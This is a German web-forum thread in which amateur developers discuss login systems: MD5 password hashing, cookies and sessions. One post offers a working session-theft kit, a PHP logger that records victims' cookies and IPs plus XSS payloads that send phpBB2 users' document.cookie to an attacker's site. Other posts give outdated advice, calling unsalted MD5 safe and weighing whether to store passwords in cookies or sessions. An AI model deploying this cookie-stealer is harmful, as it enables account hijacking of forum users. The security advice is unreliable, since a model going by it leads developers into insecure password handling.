Loginsystem

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • Loginsystem

    Hi leutz,

    ich habe folgende Frage:

    Wie ist der "Standart" eines Loginsystems was man im Webdesign bereich so verwendet?

    Mein Loginsystem ist relativ einfach, beim Anmelden wird das Passwort verschlüsselt (MD5) in einer Datenbank gespeichert, beim Einloggen wird die Zeile gesucht wo die Nummer (oder name, sofern es eines von beiden gibt) steht, dann das Passwort und mit dem Eingegebenen Passwort verglichen, bei erfolg -> Login Erfolgreich bei Fail -> Access Denied.
    Wenn erfolgreich wird ihm noch n Cookie eingepflanzt.

    Gibt es da nicht noch etwas... besseres?^^
    Oder ist das schon alles was sicherheit beim Einloggen garantiert?

    Danke! :)

    Greetz
  • auch wenn md5 definitiv nicht entschlüsselt werden kann, so solltest du bei einer textdatenbank noch darauf achten, dass kein anderer zugriff darauf erhält

    sonst können fremde die textdatenbank mal schnell nach häufigen kombis durchsuchen
    z.B.
    21232f297a57a5a743894a0e4a801fc3 (=admin) oder
    e10adc3949ba59abbe56e057f20f883e (=123456)

    ansonsten ist das prozedere korrekt.
    du kannst aber noch zusätzlich überprüfen ob das cookie erfolgreich gesetzt wurde und falls nicht versuchen eine session zu starten
  • auf jeder homepage auslesen? wie soll denn das gehen?
    (sessions sind im prinzip auch nur temporäre cookies)

    die einzge frage die aufkommen sollte ist: was speichert man im cookie?
    a) die session_id
    b) benutzername und passwort

    je nach verwendungszweck kann man die session nach x minuten inaktivität auslaufen lassen oder zur zusätzlichen sicherheit den user_agent vergleichen
  • aber eine website erhält doch keinen zugriff auf fremde daten

    beim TCP/IP ist es so, als würden sich die kommunizierenden jedes mal neu kennenlernen
    sessions müssen also im browser gesetzt sein
    einziger unterschied zum cookie ist, dass das session-cookie nur so lange exisitert wie der browser läuft

    wenn man seinen PC alleine nutzt sind cookies also nicht unsicher
    (voraussetzung ist natürlich, dass das cookie von einer vertrauenswürdigen seite kommt, es gibt auch cookie-netzwerke, die dein verhalten studieren um dich mit werbung zu bombardieren)
  • "d0nUt" schrieb:


    [...]Vllt. hat F0kus ja noch ein paar Fragen zur Implementierung...



    *hüstel* Also ich muss zugeben ich hab mich vertippt bzw. nicht wirklich nachgedacht denn ich wollte schon oft Cookies benutzen, habe aber immer nur Sessions benutzt. (Ok hab auch erst ein Loginsys gemacht^^)
    Naja die Session wird halt auf den Seiten überprüft ob sie bei ihm gestartet ist, wenn nicht dann wird er auf den Link zum Login verwiesen(wusst nicht wie man automatisch wieder zurück gelangen kann daher lass ich ihn nur anzeigen bisher) und das Script wird unterbrochen(exit();).

    Sorry fürs missverständnis :-/

    Greetz
  • ich kenn mich in sachn hacken schon bissl aus ;) und ich weiß, man kann ganz einfach z.b.: n phpbb2 cookie bekomm.

    Einfach ne *.php machn mit Code:

    Quellcode

    1. <?php
    2. $cookie = $_GET['c'];
    3. $ip = getenv ('REMOTE_ADDR');
    4. $date=date("j F, Y, g:i a");;
    5. $referer=getenv ('HTTP_REFERER');
    6. $fp = fopen('cookies.txt', 'a');
    7. fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
    8. fclose($fp);
    9. header ("Location: /picture.html");
    10. ?>


    Denn in ein phpbb2 Board mit HTML ON:

    Quellcode

    1. <script>window.location('http://www.mysite/cookie.php?c=' + document.cookie)</script>

    oder

    Quellcode

    1. <a
    2. href=”http://www.example.com/index.php?page=<script>document.location.replace('http://www.mysite.com/log.php?c=' +document.cookie);</script>”
    3. onmouseover=”window.status='http://www.example.com/login.php'; return true”
    4. onmouseout=”window.status=''; return true”
    5. >Login page</a>


    Man muss halt kreativ sein ;) klappt aba ^^

    MfG
    Ade
  • "d0nUt" schrieb:

    (voraussetzung ist natürlich, dass das cookie von einer vertrauenswürdigen seite kommt, es gibt auch cookie-netzwerke, die dein verhalten studieren um dich mit werbung zu bombardieren)

    Hat da vllt wer ne Liste zu Hand, mit Domains, die man blocken könnte? :D
    Ich hab in Firefox schon die Option "Cookies nur von der ursprüinglichen Seite laden" an, aber trotzedem kommt noch ne Mege Cookiemüll ins Haus...
  • man sollte auch in einem forum, phpbb oder was auch immer, html nicht auf on stellen.

    bei der cookie diskussion ist irgendwie nicht ganz klar worums geht.

    folgende verfahrensmöglichkeiten sehe ich:
    a) passwort wird in einer session gespeichert. die session wird über GET bzw. POST übertragen
    b) passwort wird in einer session gespeichert. die session wird über einen cookie übertragen
    c) passwort wird in einem cookie gespeichert und so gleichzeitig auch übertragen. beim ausloggen wird der cookie gelöscht

    zusätzlich dazu gibt es noch etwas, was man tun kann:
    d) passwort wird generell in einem cookie gespeichert, sodass man sich schneller / automatisch einloggen kann. diese möglichkeit wählt der benutzer selbst aus.

    sicherheitslücken des browsers oder freizügiger umgang mit benutzerrechten kann dazu führen, dass fremde in den genuss von den daten des benutzers kommt. im falle d) wird dieses risiko vom benutzer in kauf genommen. insofern spricht meiner meinung nach als programmierer nichts dagegen, dass man eine solche möglichkeit anbietet.
    was den vergleich von b und c angeht: es ist besser, eine sessionvariable abzuspeichern als die benutzerdaten. die sessionvariable ist nach einiger zeit nicht mehr aktuell, da muss der hacker schnell handeln. das passwort hingegen ändert sich so schnell nicht. außerdem vergessen die allermeisten das ausloggen; da würde der cookie dann einfach auf der platte bleiben.

    wenn man möglichkeit a) wählt, hat man zwar die sicherheitsrisiken, die mit cookies verbunden sind, umgangen, aber so entstehen andere risiken: manch einer kopiert vlt einfach mal so eine url ins icq und realisiert gar nicht, dass das gegenüber dadurch zugang auf den eigenen account hat.

    insofern sollte man sich zwischen möglichkeit a und b entscheiden. b bedeutet weniger aufwand für den programmierer. manche boards lassen dem user die freiheit, zwischen a und b zu wählen.